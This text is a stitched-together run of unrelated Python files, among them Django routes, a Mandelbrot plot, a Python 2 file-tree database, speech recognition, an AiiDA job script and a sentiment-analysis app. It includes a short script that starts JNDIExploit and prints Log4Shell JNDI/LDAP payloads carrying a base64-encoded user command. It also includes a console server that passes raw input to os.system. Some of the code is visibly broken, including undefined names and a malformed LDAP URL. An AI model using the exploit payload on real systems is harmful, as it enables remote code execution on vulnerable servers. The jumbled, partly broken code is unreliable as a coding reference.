from django.urls import path, include
from django.conf import settings
from django.conf.urls.static import static
from orders.views import (
    YurtTypeAPIList,
    HotelsListAPI,
    HotelsAPIRetrieve,
    GeneralOrderYurtsAPIView,
    YurtOrderAPICreate,
    YurtOrderAPIRetrieve,
    YurtOrderAPIUpdate,
    YurtOrderAPIDelete,
    GeneralHotelRoomOrderAPIView,
    HotelRoomOrderAPICreate,
    HotelRoomOrderAPIRetrieve,
    HotelRoomOrderAPIUpdate,
    HotelRoomOrderAPIDelete,

    YurtTypeView,
    YurtView,
    YurtServiceView,
    HotelView,
    HotelRoomTypeView,
    HotelRoomView,
    HotelServiceView,
    ZoneCreateAPI,
    NewsAPICreate,
    NewsListAPIView,
    NewsAPIView,
    NewsAPIDelete,
    NewsAPIUpdate,
    ZoneCreateAPI,
    HotelServiceView
)

admin_patterns = [
    path('zone_create/', ZoneCreateAPI.as_view()),

    path('yurt_type/', YurtTypeView.as_view({'get': 'list'})),
    path('yurt_type/create/', YurtTypeView.as_view({'post': 'create'})),
    path('yurt_type/<int:pk>/', YurtTypeView.as_view({'get': 'retrieve'})),
    path('yurt_type/<int:pk>/update/', YurtTypeView.as_view({'put': 'update'})),
    path('yurt_type/<int:pk>/delete/', YurtTypeView.as_view({'delete': 'destroy'})),
    path('yurt/', YurtView.as_view({'get': 'list'})),
    path('yurt/create/', YurtView.as_view({'post': 'create'})),
    path('yurt/<int:pk>/', YurtView.as_view({'get': 'retrieve'})),
    path('yurt/<int:pk>/update/', YurtView.as_view({'put': 'update'})),
    path('yurt/<int:pk>/delete/', YurtView.as_view({'delete': 'destroy'})),
    path('yurt_service/', YurtServiceView.as_view({'get': 'list'})),
    path('yurt_service/create/', YurtServiceView.as_view({'post': 'create'})),
    path('yurt_service/<int:pk>/', YurtServiceView.as_view({'get': 'retrieve'})),
    path('yurt_service/<int:pk>/update/', YurtServiceView.as_view({'put': 'update'})),
    path('yurt_service/<int:pk>/delete/', YurtServiceView.as_view({'delete': 'destroy'})),
    path('hotels/', HotelView.as_view({'get': 'list'})),
    path('hotels/create/', HotelView.as_view({'post': 'create'})),
    path('hotels/<int:pk>/', HotelView.as_view({'get': 'retrieve'})),
    path('hotels/<int:pk>/update/', HotelView.as_view({'put': 'update'})),
    path('hotels/<int:pk>/delete/', HotelView.as_view({'delete': 'destroy'})),
    path('hotel_room_types/', HotelRoomTypeView.as_view({'get': 'list'})),
    path('hotel_room_types/create/', HotelRoomTypeView.as_view({'post': 'create'})),
    path('hotel_room_types/<int:pk>/', HotelRoomTypeView.as_view({'get': 'retrieve'})),
    path('hotel_room_types/<int:pk>/update/', HotelRoomTypeView.as_view({'put': 'update'})),
    path('hotel_room_types/<int:pk>/delete/', HotelRoomTypeView.as_view({'delete': 'destroy'})),
    path('hotel_rooms/', HotelRoomView.as_view({'get': 'list'})),
    path('hotel_rooms/create/', HotelRoomView.as_view({'post': 'create'})),
    path('hotel_rooms/<int:pk>/', HotelRoomView.as_view({'get': 'retrieve'})),
    path('hotel_rooms/<int:pk>/update/', HotelRoomView.as_view({'put': 'update'})),
    path('hotel_rooms/<int:pk>/delete/', HotelRoomView.as_view({'delete': 'destroy'})),
    path('hotel_services/', HotelServiceView.as_view({'get': 'list'})),
    path('hotel_services/create/', HotelServiceView.as_view({'post': 'create'})),
    path('hotel_services/<int:pk>/', HotelServiceView.as_view({'get': 'retrieve'})),
    path('hotel_services/<int:pk>/update/', HotelServiceView.as_view({'put': 'update'})),
    path('hotel_services/<int:pk>/delete/', HotelServiceView.as_view({'delete': 'destroy'})),
    path('yurts_orders/', GeneralOrderYurtsAPIView.as_view()),
    path('yurts_orders/<int:pk>/', YurtOrderAPIRetrieve.as_view()),
    path('yurts_orders/<int:pk>/update/', YurtOrderAPIUpdate.as_view()),
    path('yurts_orders/<int:pk>/delete/', YurtOrderAPIDelete.as_view()),
    path('rooms_orders/', GeneralHotelRoomOrderAPIView.as_view()),
    path('rooms_orders/<int:pk>/', HotelRoomOrderAPIRetrieve.as_view()),
    path('rooms_orders/<int:pk>/update/', HotelRoomOrderAPIUpdate.as_view()),
    path('rooms_orders/<int:pk>/delete/', HotelRoomOrderAPIDelete.as_view()),
    path('zone_create/', ZoneCreateAPI.as_view()),
]

urlpatterns = (
    [
        path('admin/', include(admin_patterns)),

        path('news/', include([
                path('', NewsListAPIView.as_view()),
                path('<int:pk>', include([
                    path('', NewsAPIView.as_view()),
                    path('update/', NewsAPIUpdate.as_view()),
                    path('delete/', NewsAPIDelete.as_view()),
                ])),
                path('create/', NewsAPICreate.as_view())
            ])),

        path('hotels_rooms/', HotelsListAPI.as_view()),
        path('hotels_rooms/<int:pk>/', HotelsAPIRetrieve.as_view()),

        path('order/yurt/create/', YurtOrderAPICreate.as_view()),
        path('order/yurt/<int:pk>/', YurtOrderAPIRetrieve.as_view()),
        path('order/hotel_room/create/', HotelRoomOrderAPICreate.as_view()),
        path('order/hotel_room/<int:pk>/', HotelRoomOrderAPIRetrieve.as_view()),
    ] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)
)


import numpy as np
import matplotlib.pyplot as plt

from PIL import Image
Image.effect_mandelbrot((512, 512), (-3, -2.5, 2, 2.5), 100).show()

np.warnings.filterwarnings("ignore")

def complex_matrix(xmin, xmax, ymin, ymax, pixel_density):
    re = np.linspace(xmin, xmax, int((xmax - xmin) * pixel_density))
    im = np.linspace(ymin, ymax, int((ymax - ymin) * pixel_density))
    return re[np.newaxis, :] + im[:, np.newaxis] * 1j

def is_stable(c, num_iterations):
    z = 0
    for _ in range(num_iterations):
        z = z ** 2 + c
    return abs(z) <= 2

c = complex_matrix(-2, 0.5, -1.5, 1.5, pixel_density=512)
image = Image.fromarray(~is_stable(c, num_iterations=20))
#image.show()


import subprocess,os,sys,base64
Path="java"
LDAP_Port="3380"
HTTP_Port="8000"
Host = "127.0.0.1"
command=[Path,"-jar","JNDIExploit-1.2-SNAPSHOT.jar","--ip",Host,"-p",HTTP_Port,"-l",LDAP_Port]
subp = os.system(" ".join(command)+" -u")

print("Generate:${jndi:ldap:://127.0.0.1/} ")
Command = base64.b64encode(raw_input("Input Command:"))
print("Test Payload:${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/%s}"%Command)
subp = os.system(" ".join(command))


import h5py
import sys

last = int(sys.argv[1])

f = h5py.File('west.h5', 'r')['summary']

walltime = f['walltime'][0:last].sum()
aggtime = f['n_particles'][0:last].sum()

print("walltime: ", walltime, "seconds")
print("aggtime: ", aggtime, "units")


import collections
import os
import hashlib
from itertools import ifilter

class Relation(object):
    COPIED_FROM = '<<-'
    COPIED_TO = '->>'
    MOVED_FROM = '<-'
    MOVED_TO = '->'

RFD = collections.namedtuple('RFD', ['path', 'relation'])
Data = collections.namedtuple('Data', ['name', 'status', 'related_file_data'])
Deco = collections.namedtuple('Deco', ['style', 'foreground'])

# Contained File Relative Data
CFRD = collections.namedtuple("CFRD", ["sub_dir_relpath", "name"])
def get_file_path_relative_data(file_path, base_dir_path=None):
    data = CFRD(*os.path.split(os.path.relpath(file_path, os.curdir if base_dir_path is None else base_dir_path)))
    return None if data.sub_dir_relpath.startswith(os.pardir) else data

def split_path(path):
    if os.path.isabs(path):
        path = os.path.relpath(path)
    parts = []
    while path:
        path, tail = os.path.split(path)
        parts.insert(0, tail)
    return parts

def file_path_belongs_here(file_path, base_dir_path=None):
    return not os.path.relpath(file_path, os.curdir if base_dir_path is None else base_dir_path).startswith(os.pardir)

class NullFileDb:
    def __init__(self):
        pass
    @property
    def is_current(self):
        return True
    def dir_contents(self, dir_path, **kwargs):
        return ([], [])

class OsFileDb(NullFileDb):
    class FileDir(object):
        def __init__(self, name=None, dir_path=None, status=None, **kwargs):
            # DEBUG: assert dir_path is None or os.path.basename(dir_path) == name
            self._dir_path = dir_path if dir_path is not None else os.curdir
            self._is_populated = False
            self._subdirs = {}
            self._files_data = []
            self._subdirs_data = []
            self.data = None if not name else Data(name, status if status is not False else self._get_initial_status(), None)
            self._dir_hash_digest = None
        @property
        def is_current(self):
            if self._get_current_hash_digest() != self._dir_hash_digest:
                return False
            for subdir in self._subdirs.values():
                if not subdir.is_current:
                    return False
            return True
        @classmethod
        def _new_dir(cls, name, dir_path, **kwargs):
            return cls(name, dir_path, **kwargs)
        def _add_subdir(self, name, dir_path=None, status=None, **kwargs):
            self._subdirs[name] = self._new_dir(name=name, dir_path=dir_path if dir_path else os.path.join(self._dir_path, name), status=status, **kwargs)
        def _add_file(self, name, status=None, related_file_data=None):
            self._files_data.append(Data(name=name, status=status, related_file_data=related_file_data))
        def _get_current_hash_digest(self):
            h = hashlib.sha1()
            for item in os.listdir(self._dir_path):
                h.update(item)
            return h.digest()
        def _populate(self):
            h = hashlib.sha1()
            for item in os.listdir(self._dir_path):
                h.update(item)
                dir_path = os.path.join(self._dir_path, item)
                if os.path.isdir(dir_path):
                    self._add_subdir(name=item, dir_path=dir_path)
                else:
                    self._add_file(name=item)
            self._files_data.sort()
            # presort this data for multiple access efficiency
            self._subdirs_data = sorted([s.data for s in self._subdirs.itervalues()])
            self._is_populated = True
            return h.digest()
        def find_dir(self, dir_path):
            if not dir_path:
                return self
            sep_index = dir_path.find(os.sep)
            if sep_index == -1:
                return self._subdirs[dir_path]
            return self._subdirs[dir_path[:sep_index]].find_dir(dir_path[sep_index + 1:])
        def dirs_and_files(self, show_hidden=False, **kwargs):
            if not self._is_populated:
                self._dir_hash_digest = self._populate()
            # use iterators for efficiency and data integrity
            if show_hidden:
                dirs = iter(self._subdirs_data)
                files = iter(self._files_data)
            else:
                dirs = ifilter((lambda x: x.name[0] != "."), self._subdirs_data)
                files = ifilter((lambda x: x.name[0] != "."), self._files_data)
            return (dirs, files)
    def __init__(self, **kwargs):
        NullFileDb.__init__(self)
        self.base_dir = self.FileDir(**kwargs)
    @property
    def is_current(self):
        return self.base_dir.is_current
    def dir_contents(self, dir_path='', show_hidden=False, **kwargs):
        tdir = self.base_dir.find_dir(dir_path)
        if not tdir:
            return ([], [])
        return tdir.dirs_and_files(show_hidden=show_hidden, **kwargs)

class GenericWsFileDb(OsFileDb):
    class FileDir(OsFileDb.FileDir):
        IGNORED_STATUS_SET = set()
        CLEAN_STATUS_SET = set()
        SIGNIFICANT_STATUS_SET = set()
        def __init__(self, name=None, dir_path=None, status=False, **kwargs):
            OsFileDb.FileDir.__init__(self, name=name, dir_path=dir_path, status=status)
        @property
        def is_current(self):
            if not self._is_populated:
                return self._get_current_status() == self.data.status
            if self._get_current_hash_digest() != self._dir_hash_digest:
                return False
            for subdir in self._subdirs.values():
                if not subdir.is_current:
                    return False
            return True
        def _add_subdir(self, name, dir_path=None, status=False, **kwargs):
            # NB: default status has been changed to False
            OsFileDb.FileDir._add_subdir(self, name=name, dir_path=dir_path, status=status, **kwargs)
        def _get_initial_status(self):
            assert False, "_get_initial_status() must be defined in children"
        def _get_current_status(self):
            assert False, "_get_current_status() must be defined in children"
        def _get_current_hash_digest(self):
            h = hashlib.sha1()
            assert False, "_get_current_hash_digest() must be defined in child"
            return h.digest()
        def _populate(self):
            h = hashlib.sha1()
            assert False, "_populate() must be defined in child"
            self._is_populated = True
            return h.digest()
        def _is_hidden_dir(self, ddata):
            if ddata.name[0] == '.':
                return ddata.status not in self.SIGNIFICANT_STATUS_SET
            return False
        def _is_hidden_file(self, fdata):
            if fdata.name[0] == ".":
                return fdata.status not in self.SIGNIFICANT_STATUS_SET
            return fdata.status in self.IGNORED_STATUS_SET
        def _is_clean_dir(self, ddata):
            return ddata.status in self.CLEAN_STATUS_SET
        def _is_clean_file(self, fdata):
            return fdata.status in self.CLEAN_STATUS_SET
        def dirs_and_files(self, show_hidden=False, hide_clean=False):
            if not self._is_populated:
                self._dir_hash_digest = self._populate()
            if show_hidden:
                if hide_clean:
                    dirs = ifilter((lambda x: x.status not in self.CLEAN_STATUS_SET), self._subdirs_data)
                    files = ifilter((lambda x: x.status not in self.CLEAN_STATUS_SET), self._files_data)
                else:
                    dirs = iter(self._subdirs_data)
                    files = iter(self._files_data)
            elif hide_clean:
                dirs = ifilter((lambda x: not (x.status in self.CLEAN_STATUS_SET or self._is_hidden_dir(x))), self._subdirs_data)
                files = ifilter((lambda x: not (x.status in self.CLEAN_STATUS_SET or self._is_hidden_file(x))), self._files_data)
            else:
                dirs = ifilter((lambda x: not self._is_hidden_dir(x)), self._subdirs_data)
                files = ifilter((lambda x: not self._is_hidden_file(x)), self._files_data)
            return (dirs, files)

class Snapshot(object):
    def __init__(self, file_status_data, relevant_keys=None):
        self._file_status_data = file_status_data
        self._relevant_keys = file_status_data.keys() if relevant_keys is None else relevant_keys
        self._status_set = frozenset(file_status_data[key][0] for key in self._relevant_keys)
    @property
    def status_set(self):
        return self._status_set
    def iterate_data(self):
        for file_path in self._relevant_keys:
            status, related_file_data = self._file_status_data[file_path]
            yield (file_path, status, related_file_data)
    def narrowed_for_subdir(self, dir_path):
        relevant_keys = [file_path for file_path in self._relevant_keys if file_path_belongs_here(file_path, dir_path)]
        return self.__class__(self._file_status_data, relevant_keys)

class GenericSnapshotWsFileDb(GenericWsFileDb):
    class FileDir(GenericWsFileDb.FileDir):
        IGNORED_STATUS_SET = frozenset()
        CLEAN_STATUS_SET = frozenset()
        SIGNIFICANT_DATA_SET = frozenset()
        DEFAULT_FILE_STATUS = None
        DEFAULT_DIR_STATUS = None
        def __init__(self, name=None, dir_path=None, status=False, parent_file_status_snapshot=None):
            self._file_status_snapshot = parent_file_status_snapshot.narrowed_for_subdir(dir_path)
            self._exists = os.path.isdir(dir_path if dir_path else os.curdir)
            GenericWsFileDb.FileDir.__init__(self, name, dir_path, status=status)
        def _get_initial_status(self):
            return self.DEFAULT_DIR_STATUS
        def _get_current_status(self):
            # SCM related status changes will be detected at Db level
            if self._exists and not os.path.isdir(self._dir_path):
                return None
            return self.data.status
        def _add_subdir(self, name, dir_path=None, status=False, **kwargs):
            if not dir_path:
                dir_path = os.path.join(self._dir_path, name)
            self._subdirs[name] = self._new_dir(name=name, dir_path=dir_path, status=status, parent_file_status_snapshot=self._file_status_snapshot, **kwargs)
        def _get_current_hash_digest(self):
            h = hashlib.sha1()
            for item in os.listdir(self._dir_path):
                h.update(item)
            return h.digest()
        def _populate(self):
            h = hashlib.sha1()
            files_dict = {}
            for item in os.listdir(self._dir_path):
                h.update(item)
                dir_path = os.path.join(self._dir_path, item)
                if os.path.isdir(dir_path):
                    self._add_subdir(name=item, dir_path=dir_path)
                else:
                    files_dict[item] = Data(name=item, status=self.DEFAULT_FILE_STATUS, related_file_data=None)
            for file_path, status, rfd in self._file_status_snapshot.iterate_data():
                subdir, name = os.path.split(os.path.relpath(file_path, self._dir_path))
                if subdir:
                    while subdir:
                        base_sub_dir = subdir
                        subdir = os.path.dirname(subdir)
                    if base_sub_dir not in self._subdirs:
                        self._add_sub_dir(name=base_subdir, status=False)
                else:
                    if rfd:
                        rfd = RFD(path=os.path.relpath(rfd.path, self._dir_path), relation=rfd.relation)
                    files_dict[name] = Data(name=name, status=status, related_file_data=rfd)
            # presort this data for multiple access efficiency
            self._files_data = sorted(files_dict.itervalues())
            self._subdirs_data = sorted([s.data for s in self._subdirs.itervalues()])
            self._is_populated = True
            return h.digest()
    def __init__(self, **kwargs):
        h = hashlib.sha1()
        self._file_status_snapshot = self._extract_file_status_snapshot(self._get_file_data_text(h))
        self._db_digest = h.digest()
        GenericWsFileDb.__init__(self, parent_file_status_snapshot=self._file_status_snapshot)
    # NB the fetching of data is done in two steps to allow efficient "is_current" computation
    def _get_file_data_text(self, h):
        assert False, "_get_file_data_text() must be defined in child"
    def _extract_file_status_snapshot(self, file_data_text):
        assert False, "_extract_file_status_snapshot() must be defined in child"
    @property
    def is_current(self):
        h = hashlib.sha1()
        self._get_file_data_text(h)
        return h.digest() == self._db_digest and self.base_dir.is_current

class GenericChangeFileDb(object):
    class FileDir(object):
        CLEAN_STATUS_SET = frozenset()
        def __init__(self, name=None, **kwargs):
            self._subdirs = {}
            self._subdirs_data = []
            self._files_data = []
            self._status_set = set()
            self.data = Data(name, None, None)
        @classmethod
        def _new_dir(cls, name, **kwargs):
            return cls(name, **kwargs)
        def finalize(self):
            self._subdirs_data = sorted([s.data for s in self._subdirs.itervalues()])
            self._files_data.sort()
            status = self._calculate_status()
            self.data = Data(self.data.name, status, None)
            for subdir in self._subdirs.itervalues():
                subdir.finalize()
        def add_file(self, path_parts, status, related_file_data=None):
            self._status_set.add(status)
            name = path_parts[0]
            if len(path_parts) == 1:
                self._files_data.append(Data(name=name, status=status, related_file_data=related_file_data))
            else:
                if name not in self._subdirs:
                    self._subdirs[name] = self._new_dir(name)
                self._subdirs[name].add_file(path_parts[1:], status, related_file_data)
        def _calculate_status(self):
            assert False, "_calculate_status() must be defined in child"
        def find_dir(self, dir_path):
            if not dir_path:
                return self
            sep_index = dir_path.find(os.sep)
            if sep_index == -1:
                return self._subdirs[dir_path]
            return self._subdirs[dir_path[:sep_index]].find_dir(dir_path[sep_index + 1:])
        def dirs_and_files(self, hide_clean=False, **kwargs):
            if hide_clean:
                dirs = ifilter((lambda x: x.status not in self.CLEAN_STATUS_SET), self._subdirs_data)
                files = ifilter((lambda x: x.status not in self.CLEAN_STATUS_SET), self._files_data)
            else:
                dirs = iter(self._subdirs_data)
                files = iter(self._files_data)
            return (dirs, files)
    def __init__(self, **kwargs):
        self._args = kwargs
        h = hashlib.sha1()
        pdt = self._get_patch_data_text(h)
        self._db_hash_digest = h.digest()
        self._base_dir = self.FileDir()
        for file_path, status, related_file_data in self._iterate_file_data(pdt):
            self._base_dir.add_file(split_path(file_path), status, related_file_data)
        self._base_dir.finalize()
    @property
    def is_current(self):
        h = hashlib.sha1()
        self._get_patch_data_text(h)
        return h.digest() == self._db_hash_digest
    def dir_contents(self, dirpath='', hide_clean=False, **kwargs):
        tdir = self._base_dir.find_dir(dirpath)
        if not tdir:
            return ([], [])
        return tdir.dirs_and_files(hide_clean=hide_clean)
    def _get_patch_data_text(self, h):
        assert False, "_get_patch_data_text() must be defined in child"
    @staticmethod
    def _iterate_file_data(pdt):
        assert False, "iterate_file_data() must be defined in child"
    def dir_contents(self, dir_path='', hide_clean=False, **kwargs):
        tdir = self._base_dir.find_dir(dir_path)
        if not tdir:
            return ([], [])
        return tdir.dirs_and_files(hide_clean=hide_clean, **kwargs)


import time
import threading
import os
import logging
logging.basicConfig(format='%(message)s', level=logging.INFO)

'''
logging.debug('This is a debug message')
logging.info('This is an info message')
logging.warning('This is a warning message')
logging.error('This is an error message')
logging.critical('This is a critical message')
'''

def main():
    logging.info('Server on')
    logging.info('Enter commands...')
    while(True):
        cmd = input()

        try:
            val = int(cmd)
        except:
            val = None

        if(val):
            t = threading.Thread(target=sleeper, args=[val])
            t.start()

        else:
            fileName = cmd + '.py'
            t = threading.Thread(target=fileTrigger, args=[fileName])
            t.start()

def sleeper(seconds):
    logging.info(f'sleeping {seconds} second(s)')
    time.sleep(seconds)
    logging.info(f'Done sleeping')

def fileTrigger(fileName):
    os.system(fileName)

if __name__ == '__main__':
    main()


from fastapi import FastAPI
from .routes import router as api_router
from app_python.core.tasks import create_start_app_handler, create_stop_app_handler

def get_app():
    """Function creates app with all the routes and settings we need"""
    app = FastAPI()

    # start and shutdown event handlers
    app.add_event_handler("startup", create_start_app_handler(app))
    app.add_event_handler("shutdown", create_stop_app_handler(app))

    # include all routes
    app.include_router(api_router, prefix="")
    return app

# Create app
app = get_app()


import vosk
import sys
import os
import wave
import json
import re
from pprint import pprint
import numpy as np

infile = 'output_file.wav'

model = vosk.Model("vosk-model-small-ru-0.22")
spk_model = vosk.SpkModel('vosk-model-spk-0.4')

def cosine_dist(x, y):
    nx = np.array(x)
    ny = np.array(y)
    return 1 - np.dot(nx, ny) / np.linalg.norm(nx) / np.linalg.norm(ny)

wf = wave.open(infile, "rb")
rcgn_fr = wf.getframerate() * wf.getnchannels()
rec = vosk.KaldiRecognizer(model, rcgn_fr, spk_model)
rec.SetSpkModel(spk_model)
wf.rewind()
result = ''
last_n = False
# read_block_size = 4000
read_block_size = wf.getnframes()

while True:
    data = wf.readframes(read_block_size)
    if len(data) == 0:
        break

    if rec.AcceptWaveform(data):
        res = json.loads(rec.Result())

        if res['text'] != '':
            result += f" {res['text']}"
            if read_block_size < 200000:
                print(res['text'] + " \n")

            last_n = False
        elif not last_n:
            result += '\n'
            last_n = True

# res = json.loads(rec.Result())
# print(res)
# result += f" {res['text']}"
# pprint(result)


import logging
import os
import platform
import sys
import time
import traceback

from selenium import webdriver

from ccdl import (Binb2, ComicAction, ComicEarthstar, ComicLinkInfo,
                  ComicWalker, Ganma)
from ccdl.utils import SiteReaderLoader

if not os.path.exists("log"):
    os.makedirs("log")

log_file_path = "log/{}.log".format(time.strftime("%Y-%m-%d"))
fh = logging.FileHandler(filename=log_file_path, encoding="UTF-8")
logging.basicConfig(
    handlers=[fh], format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger("CCDL")

if 'Linux' in platform.platform().split('-'):
    executable_path = './chromedriver'
elif 'Windows' in platform.platform().split('-'):
    executable_path = './chromedriver.exe'
else:
    logger.error("platform not win or linux")
    raise ValueError("os")

if __name__ == "__main__":
    driver = None
    is_exist = os.path.exists(executable_path)
    print("\n源碼: https://github.com/vircoys/ccdl")
    if is_exist:
        print("\n如需登入（含*）請提前在程式啟動的瀏覽器中登入，並加載目標url（任意標籤頁）！\n")
        driver = webdriver.Chrome(executable_path=executable_path)
    else:
        print("\n由於未在程式所在目錄發現chromedriver，部分基於selenium採集的站點將無法進行。")
        print("您可於 http://npm.taobao.org/mirrors/chromedriver/ 下載\n")

    print("\n>>>>>>>>輸入exit退出<<<<<<<<\n")

    while True:
        url = input("url: ")

        if url == 'exit':
            print('Bye~')
            time.sleep(0.5)
            if driver:
                driver.quit()
            sys.exit()

        link_info = ComicLinkInfo(url)

        reader = SiteReaderLoader(link_info, driver)
        if reader is not None:
            try:
                reader.downloader()
            except Exception as e:
                logger.error(traceback.format_exc())
                print("下載失敗! \n" + traceback.format_exc())
        else:
            print("not supported")
            continue


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Aug 23 15:15:05 2021

@author: qichen
"""
from aiida.plugins import DataFactory, CalculationFactory
from aiida.engine import workfunction, submit, calcfunction
from aiida.orm import Code, SinglefileData, Int, Float, Str, Bool, List, Dict, ArrayData, XyData, SinglefileData, FolderData, RemoteData
import aiida
import os

aiida.load_profile()

def submit_single_calc(temps):
    code = Code.get_from_string('uppasd_dev@uppasd_local')
    builder = code.get_builder()
    dmdata = SinglefileData(
        file=os.path.join(os.getcwd(), "input_files2", 'dmdata'))
    jij = SinglefileData(
        file=os.path.join(os.getcwd(), "input_files2", 'jij'))
    momfile = SinglefileData(
        file=os.path.join(os.getcwd(), "input_files2", 'momfile'))
    posfile = SinglefileData(
        file=os.path.join(os.getcwd(), "input_files2", 'posfile'))
    qfile = SinglefileData(
        file=os.path.join(os.getcwd(), "input_files2", 'qfile'))

    # inpsd.dat file selection
    simid = Str('SCsurf_T')
    ncell = Str('128 128 1')
    BC = Str('P         P         0 ')
    cell = Str('''1.00000 0.00000 0.00000
    0.00000 1.00000 0.00000
    0.00000 0.00000 1.00000''')
    do_prnstruct = Int(2)
    maptype = Int(2)
    SDEalgh = Int(1)
    Initmag = Int(3)
    ip_mode = Str('Q')
    qm_svec = Str('1   -1   0 ')
    qm_nvec = Str('0  0  1')
    mode = Str('S')
    temp = Float(temps)
    damping = Float(0.500)
    Nstep = Int(5000)
    timestep = Str('1.000d-15')
    qpoints = Str('F')
    plotenergy = Int(1)
    do_avrg = Str('Y')

    r_l = List(list=[
        f'coord.{simid.value}.out',
        f'qm_minima.{simid.value}.out',
        f'qm_sweep.{simid.value}.out',
        'qpoints.out',
        f'totenergy.{simid.value}.out',
        f'averages.{simid.value}.out',
        'fort.2000',
        'inp.{simid.value}.yaml',
        'qm_restart.{simid.value}.out',
        'restart.{simid.value}.out'
    ])

    # set up calculation
    inpsd = Dict()
    inpsd.set_attribute('simid', simid)
    inpsd.set_attribute('ncell', ncell)
    inpsd.set_attribute('BC', BC)
    inpsd.set_attribute('cell', cell)
    inpsd.set_attribute('do_prnstruct', do_prnstruct)
    inpsd.set_attribute('maptype', maptype)
    inpsd.set_attribute('SDEalgh', SDEalgh)
    inpsd.set_attribute('Initmag', Initmag)
    inpsd.set_attribute('ip_mode', ip_mode)
    inpsd.set_attribute('qm_svec', qm_svec)
    inpsd.set_attribute('qm_nvec', qm_nvec)
    inpsd.set_attribute('mode', mode)
    inpsd.set_attribute('temp', temp)
    inpsd.set_attribute('damping', damping)
    inpsd.set_attribute('Nstep', Nstep)
    inpsd.set_attribute('timestep', timestep)
    inpsd.set_attribute('qpoints', qpoints)
    inpsd.set_attribute('plotenergy', plotenergy)
    inpsd.set_attribute('do_avrg', do_avrg)
    #inpsd.set_attribute()
    builder.code = code
    builder.dmdata = dmdata
    builder.jij = jij
    builder.momfile = momfile
    builder.posfile = posfile
    builder.qfile = qfile
    builder.inpsd = inpsd
    builder.retrieve_list_name = r_l
    builder.inpsd_dat_exist = Int(0)
    builder.metadata.options.resources = {'num_machines': 1}
    builder.metadata.options.max_wallclock_seconds = 120
    builder.metadata.options.input_filename = 'inpsd.dat'
    builder.metadata.options.parser_name = 'UppASD_core_parsers'
    builder.metadata.label = 'Demo_for_temp_{}'.format(int(temps.value))
    builder.metadata.description = 'Test Demo_for_temp_{} for UppASD-AiiDA'.format(
        int(temps.value))
    submit(builder)

@workfunction
def multi_temp(temp_list):
    for t in temp_list.attributes['list']:
        submit_single_calc(Float(t))

temp_list = List(list=list(range(0, 30, 10)))

multi_temp(temp_list)


import numpy as np
import torch
from ray.serve.gradio_integrations import GradioServer
from transformers import DistilBertForSequenceClassification, DistilBertTokenizer
from scipy.special import softmax
from scipy.stats import entropy
import matplotlib.pyplot as plt
import gradio as gr
import ray

model_name = "distilbert-base-uncased-finetuned-sst-2-english"

np.set_printoptions(suppress=True)

entropy_threshold = 0.693

mapper = ['negative', 'positive']
NEUTRAL_SENTIMENT = 'neutral'

class SentimentClassifier:
    def __init__(self, model, tokenizer):
        self.model = model
        self.tokenizer = tokenizer

    def handle(self, inputs):
        encoded_input = self.tokenizer(inputs, padding=True, truncation=True, return_tensors="pt")
        with torch.no_grad():
            output = self.model(**encoded_input).logits
        scores = output.detach().numpy()
        probabilities = softmax(scores, axis=1)
        results = []
        for probs in probabilities:
            if entropy(probs) > entropy_threshold:
                results.append(NEUTRAL_SENTIMENT)
                continue
            results.append(mapper[np.argmax(probs)])
        return results

@ray.remote
class SentimentAnalyzer:
    def __init__(self):
        self.classifier = SentimentClassifier(
            DistilBertForSequenceClassification.from_pretrained(model_name),
            DistilBertTokenizer.from_pretrained(model_name),
        )

    def analyze_cue(self, cue):
        return self.classifier.handle(cue)

    def analyze_dialog(self, dialog):
        results = []
        for speaker, cues in dialog.items():
            speaker_results = self.analyze_cue(cues)
            results.append((speaker, speaker_results))
        return results

def calculate_sentiment_ratios(dialog):
    speakers = []
    positive_ratios = []
    negative_ratios = []
    neutral_ratios = []
    for speaker, cues in dialog:
        total = len(cues)
        positive_ratio = cues.count('positive') / total if total > 0 else 0
        negative_ratio = cues.count('negative') / total if total > 0 else 0
        neutral_ratio = cues.count('neutral') / total if total > 0 else 0
        speakers.append(speaker)
        positive_ratios.append(positive_ratio)
        negative_ratios.append(negative_ratio)
        neutral_ratios.append(neutral_ratio)
    return speakers, positive_ratios, negative_ratios, neutral_ratios

def convert_text_to_dict(text):
    result_dict = {}
    lines = text.split('\n')
    for line in lines:
        if line.strip() != '':
            key, value = line.split(':')
            key = key.strip()
            value = value.strip()
            if key in result_dict:
                result_dict[key].append(value)
            else:
                result_dict[key] = [value]
    return result_dict

def gradio_sentiment_builder():
    sentiment_analyzer = SentimentAnalyzer.remote()

    def model(text):
        results = ray.get(sentiment_analyzer.analyze_dialog.remote(convert_text_to_dict(text)))
        speakers, positive_ratios, negative_ratios, neutral_ratios = calculate_sentiment_ratios(results)
        ratios = {
            'Positive': positive_ratios,
            'Negative': negative_ratios,
            'Neutral': neutral_ratios
        }

        x = np.arange(len(speakers))
        width = 0.25
        multiplier = 0

        fig, ax = plt.subplots(layout='constrained')

        for attribute, measurement in ratios.items():
            offset = width * multiplier
            rects = ax.bar(x + offset, measurement, width, label=attribute)
            ax.bar_label(rects, padding=3)
            multiplier += 1

        ax.set_ylabel('Frequency')
        ax.set_title('Sentiment distribution over speakers')
        ax.set_xticks(x + width, speakers)
        ax.legend(loc='upper left', ncols=3)
        ax.set_ylim(0, 1.1)

        return fig

    return gr.Interface(
        fn=model,
        inputs=gr.Textbox(lines=20),
        outputs="plot",
        description="Enter the dialog cues and analyze the sentiment ratios for each speaker.",
        examples=["""a: Hello, my friend
b: Hello, bro"""],
        x='Speakers',
        y=['Positive', 'Negative', 'Neutral'],
        type='bar',
        labels=['Positive', 'Negative', 'Neutral']
    )

app = GradioServer.options().bind(
    gradio_sentiment_builder
)


from utils import bytes_to_bits

# Mining rules
MINING_REWARD = 50
MIN_ZEROS = 20
MINER_WAIT_TIMEOUT = 5
MAX_TXN_COUNT = 20

def valid_block_hash(h):
    bits = bytes_to_bits(h)
    return all(map(lambda b: b == 0, bits[:MIN_ZEROS]))

# chain rules
MAX_BLOCKS_BEHIND = 10


from collections import deque

n, k = map(int, input().split())
L = set([int(input()) for _ in range(n)])
dp = [-1] * (k+1)
queue = deque()
queue.append([0, 0])

while queue:
    num, cnt = queue.popleft()
    for i in L:
        if num+i > k:
            continue

        if dp[num+i] == -1:
            dp[num+i] = cnt+1
            queue.append([num+i, cnt+1])

print(dp[-1])


# -*- coding: utf-8 -*-
